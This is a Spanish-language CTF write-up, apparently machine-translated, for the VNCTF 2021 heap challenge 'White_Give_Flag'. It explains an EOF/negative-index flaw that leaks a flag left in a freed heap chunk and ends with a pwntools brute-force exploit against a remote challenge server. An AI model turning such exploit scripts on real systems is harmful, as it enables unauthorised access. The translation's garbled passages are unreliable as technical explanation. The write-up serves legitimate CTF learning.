[VNCTF 2021] White_Give_Flag

Hay un WP oficial en el grupo público. Simplemente registre su propio proceso de recurrencia. He seguido WP durante mucho tiempo. Solo esta pregunta es clara. Esta es la pregunta del maestro de segundo año, tql

[VNCTF 2021] White_Give_Flag

  1. Inspección de rutina, programa de 64 bits, protección completa
    Inserte la descripción de la imagen aquí

  2. Pruébelo localmente, parece un montón
    Inserte la descripción de la imagen aquí

  3. Ida de 64 bits se carga en
    main ()
    Inserte la descripción de la imagen aquí
    sub_E5A
    Inserte la descripción de la imagen aquí
    qword_2010120 Hay 5 cadenas almacenadas en la matriz de qword_2010120, correspondientes a las 5 opciones del menú. Y después de que se ejecute esta función, el valor de flag se dejará en el fragmento.
    Sub_F07
    Inserte la descripción de la imagen aquí
    La función que lee la opción de menú devuelve el valor de retorno de read () en lugar del valor de retorno de atoi (), e imprime
    la cadena en qword_202120 según el valor de retorno

  4. A través de la función de adición, puede ver que el puntero del montón está almacenado en qword_202100, qword_202120 es el puntero del montón, generamos el contenido en chunk [3] a través de put (qword_202120 [-1])
    Inserte la descripción de la imagen aquí

  5. Cuando el tamaño aleatorio de malloc escribe el indicador, el rango de tamaño es [0x300, 0x500]. agregar al fragmento [. 3] se aplica cuando solo hay uno de un tamaño en el rango, si el tamaño del fragmento en la bandera con exactamente, se puede
    quitar de este fragmento, luego editar los caracteres llenos de caracteres 0x10 , poner (qword_202120 [-1] ) Puede imprimir la bandera.
    El rango de tamaño no es grande y se puede arruinar.
    put (qword_202120 [-1]) necesita hacer que read () devuelva 0, es decir, se lee EOF.
    Puede ctrl + d. Aunque se requiere granallado, teóricamente es posible la operación manual pura (no se recomienda).
    pwntools puede usar shutdown_raw ('enviar') para cerrar la dirección de envío de la canalización, hacer que la lectura remota () lea EOF y devuelva 0.

Publicar directamente el exp oficial de voladuras

from pwn import *
def menu(choice):
 r.recvuntil('choice:')
 r.sendline(choice)
def add(size):
 menu('')
 r.recvuntil('size:\n')
 r.sendline(str(size))
def edit(index,data):
 menu('111')
 r.recvuntil('index:\n')
 r.sendline(str(index))
 r.recvuntil('Content:\n')
 r.send(data)
def delete(index):
 menu('11')
 r.recvuntil('index:\n')
 r.sendline(str(index))

def show(index):
 menu('1')
while True:
 r = remote("node4.buuoj.cn",39123)
 add(0x10)
 add(0x10)
 add(0x10)
 add(0x310)
 edit(3,'x'*0x10)
 r.recvuntil('choice:')
 r.shutdown_raw('send')
 flag = r.recvline()
 log.info(flag)
 if 'vnctf{' in flag or '}' in flag:
 	exit(0)
 r.close()
 sleep(1)

Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/mcmuyanga/article/details/114896247
Recomendado
Clasificación